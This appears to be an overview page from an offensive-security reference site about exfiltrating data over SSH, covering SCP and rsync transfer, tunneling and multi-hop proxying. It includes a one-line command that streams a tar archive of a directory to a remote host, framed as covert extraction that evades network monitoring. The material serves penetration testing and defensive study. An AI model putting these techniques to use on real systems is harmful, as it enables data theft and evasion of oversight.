# Data Exfiltration

> SSH and SCP data transfer, tunneling, and timing tactics

- **URL:** https://hackindex.io/services/ssh/data-exfiltration
- **Service:** [SSH](https://hackindex.io/services/ssh.md)
- **Tags:** exfiltration, extraction, impact
- **Published:** 2026-03-16
- **Updated:** 2026-03-29

SSH provides some of the most reliable and stealthy data exfiltration channels available. SCP and SFTP transfer files over encrypted connections that blend with normal administrative traffic. For large-scale extraction, rsync over SSH gives you incremental transfers with compression, minimizing time on the wire.

SSH tunneling (-L, -R, -D) lets you stage data through intermediate hosts when direct outbound connections are blocked. A SOCKS proxy via ssh -D routes arbitrary traffic through the tunnel, while local and remote port forwards create point-to-point channels for specific services. ProxyJump chains (-J) extend this across multiple hops without exposing data on intermediate hosts.

For covert extraction, consider piping data directly through SSH (tar czf - /path | ssh user@host 'cat > archive.tar.gz') to avoid writing staging files to disk. SSH's encryption ensures the exfiltrated data is unreadable to network monitoring, and the connection metadata looks identical to legitimate administration.

## Guides

- [Data Exfiltration over SSH and SCP](https://hackindex.io/services/ssh/data-exfiltration/exfiltration-over-ssh-and-scp.md)
- [SSH Tunneled Exfiltration](https://hackindex.io/services/ssh/data-exfiltration/ssh-tunneled-exfiltration.md)